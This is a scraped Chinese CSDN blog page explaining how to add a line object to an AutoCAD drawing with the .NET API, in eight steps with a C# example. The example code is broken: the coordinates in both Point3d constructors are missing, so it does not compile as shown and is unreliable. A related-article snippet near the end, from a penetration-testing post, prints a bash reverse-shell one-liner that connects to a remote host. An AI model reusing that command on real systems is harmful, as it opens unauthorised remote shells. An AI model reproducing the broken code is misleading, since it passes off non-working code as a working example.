https://blog.csdn.net/u011170962/article/details/37755201

要创建一个图形对象,需要遵循下面的步骤:
1.得到创建对象的图形数据库;
2.在内存中创建实体类的一个对象;
3.定义一个指向当前数据库的事务处理;
4.打开图形数据库的块表;
5.打开一个存储实体的块表记录(通常绘图都在模型空间中进行),所有模型空间的实体都存储在块表“模型空间”记录中;
6.将该对象添加到块表记录中;
7.把对象添加到事务处理中;
8.提交事务处理。

   [CommandMethod("FirstLine")]
public void FirstLine()
{
//获取当前活动图形数据库
Database db = HostApplicationServices.WorkingDatabase; //新建一个直线对象
Point3d startPoint = new Point3d(, , ); //直线起点
Point3d endPoint = new Point3d(, , ); //直线终点
Line line = new Line(startPoint, endPoint); //定义一个指向当前数据库的事务处理,以添加直线
using (Transaction trans = db.TransactionManager.StartTransaction())
{
//以读方式打开块表..
BlockTable bt = (BlockTable)trans.GetObject(db.BlockTableId, OpenMode.ForRead); //以写方式打开模型空间块表记录
BlockTableRecord btr = (BlockTableRecord)trans.GetObject(bt[BlockTableRecord.ModelSpace], OpenMode.ForWrite); //将图形对象的信息添加到块表记录中,并返回ObjectId对象.
btr.AppendEntity(line); //把对象添加到事务处理中.
trans.AddNewlyCreatedDBObject(line, true); //提交事务处理
trans.Commit();
}
}

AutoCAD.NET中添加图形对象的基本步骤与实例演示的更多相关文章

  1. JAVA之旅(十二)——Thread,run和start的特点,线程运行状态,获取线程对象和名称,多线程实例演示,使用Runnable接口

    JAVA之旅(十二)--Thread,run和start的特点,线程运行状态,获取线程对象和名称,多线程实例演示,使用Runnable接口 开始挑战一些难度了,线程和I/O方面的操作了,继续坚持 一. ...

  2. C#/AutoCAD 2018/ObjectArx/二次开发添加图形对象步骤和添加直线的例子(三)

    1.创建一个图形对象的步骤如下(1)得到创建对象的图形数据库:(2)在内存中创建实体类的一个对象:(3)定义一个指向当前数据库的事务处理:(4)打开图形数据库的块表:(5)打开一个存储实体的块表记录( ...

  3. THREE.JS(如何想场景中添加物体对象)

    这篇主要实现向模型对象中添加头像,并组成一个矩形 一.three.js是什么? 上篇说了点TWEEN这篇又来一根THREE是不是两兄弟啊?还真有点像,当想要做3D动画的时候,可能会考虑用TWEEN的动 ...

  4. SharedObject使用:在FluorineFx.net与Flex中使用共享对象维护在线用户列表实例【转】

    一.添加一个新的FluorineFx的服务类项目OnLineService,删除原有的Sample.cs,并添加一个用户类定义与一个ApplicationAdpater类:如下: /*-- User. ...

  5. unity中添加音量控制的一些步骤

    1.先确认要控制的音源(Audio Source)所使用的输出(Output),例如我这里BGM使用的是MainMixer: 2.暴露音量(Volume)参数,让脚本可以控制.这里如果不暴露出来,脚本 ...

  6. SSM-MyBatis-12:Mybatis中添加单个对象返回主键id列

    ------------吾亦无他,唯手熟尔,谦卑若愚,好学若饥------------- 实体类 public class Book { private Integer bookID; private ...

  7. OBjective-C:在可变数组NSMutableArray中添加相同对象后,进行自定义的排序方式输出

    以下为自定义的排序方式的实现 #import "Person+Compare.h" @implementation Person (Compare) -(NSComparisonR ...

  8. 基于.NET的CAD二次开发学习笔记二:AutoCAD .NET中的对象

    1.CAD对象:一个CAD文件(DWG文件)即对应一个数据库,数据库中的所有组成部分,看的见(包括点.多段线.文字.圆等)和看不见(图层.线型.颜色等)的都是对象,数据库本身也是一个对象. 直线.圆弧 ...

  9. 用Physijs在场景中添加物理效果

    1.创建可用Physijs的基本Three.js场景 创建一个可用Physijs的Three.js场景非常简单,只要几个步骤即可.首先我们要包含正确的文件, 需要引入physi.js文件.实际模拟物理 ...

随机推荐

  1. 基于SpringCloud的微服务架构实战案例项目

    QuickStart 基于SpringCloud体系实现,简单购物流程实现,满足基本功能:注册.登录.商品列表展示.商品详情展示.订单创建.详情查看.订单支付.库存更新等等. github源码地址:h ...

  2. 判断List中是否含有某个实体bean

    注意:使用List.contains(Object object)方法判断ArrayList是否包含一个元素对象(针对于对象的属性值相同,但对象地址不同的情况),如果没有重写List的元素对象Obje ...

  3. 修改Windows10的host文件。

    一.Windows10中host地址. c:\windows\system32\drivers\etc\hosts 其他系统中的位置. Windows操作系统(Windows XP/7/8/10): ...

  4. 【DFS例题】等式

    题目如下: 这道题依然是一道dfs(要求输出方案数很明显用dfs呐) 首先一个模板贴上来: void dfs()//参数用来表示状态 { if(到达终点状态) { ...//根据题意添加 return ...

  5. 手写 Spring

    手写 Spring 不多说,简历装 X 必备.不过练好还是需要求一定的思维能力. 一.整体思路 思路要熟练背下来 1)配置阶段 配置 web.xml: XDispatchServlet 设定 init ...

  6. linux几种方式来弹哥shell

    渗透测试linux主机的时候,能够去 弹个shell进行交互是非常重要的 bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 bash -i :打 ...

  7. 个人永久性免费-Excel催化剂功能第66波-数据快速录入,预定义引用数据逐字提示

    在前面好几波的功能中,为数据录入的规范性做了很大的改进,数据录入乃是数据应用之根,没有完整.干净的数据源,再往下游的所有数据应用场景都是空话.在目前IT化进程推进了20多年的现状,是否还仍有必要在Ex ...

  8. PHP使用array_unique对二维数组去重处理

    去重,点这里,东西是好东西,就是有点懒.莫见怪

  9. 开源分布式事务中间件Seata使用指南

    介绍 Seata 是阿里巴巴开源的分布式事务中间件,一种分布式事务解决方案,具有高性能和易于使用的微服务架构. 初衷 对业务无侵入:即减少技术架构上的微服务化所带来的分布式事务问题对业务的侵入 高性能 ...

  10. Java Web项目案例之---登录和注册(精华版)

    登录和注册(精华版) (一)实现功能 1.使用cookie记录登录成功的用户名,用户选择记住用户名,则用户再次登录时用户名自动显示 2.实现文件上传功能(上传文件的表单上传于普通的表单上传不同,必须是 ...